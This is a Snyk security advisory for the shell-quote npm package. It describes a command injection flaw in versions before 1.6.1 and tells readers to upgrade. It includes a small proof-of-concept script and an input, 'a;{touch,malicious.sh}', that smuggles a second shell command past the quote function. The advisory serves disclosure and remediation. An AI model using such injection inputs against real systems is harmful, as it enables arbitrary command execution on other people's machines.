Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade shell-quote
to version 1.6.1 or higher.
shell-quote is a package used to quote and parse shell commands.
Affected versions of this package are vulnerable to Command Injection. The quote
function does not properly escape the following special characters <
, >
, ;
, {
, }
, and as a result can be used by an attacker to inject malicious shell commands or leak sensitive information.
Consider the following poc.js
application
var quote = require('shell-quote').quote; var exec = require('child_process').exec;
var userInput = process.argv[2];
var safeCommand = quote(['echo', userInput]);
exec(safeCommand, function (err, stdout, stderr) { console.log(stdout); });
Running the following command will not only print the character a
as expected, but will also run the another command, i.e touch malicious.sh
$ node poc.js 'a;{touch,malicious.sh}'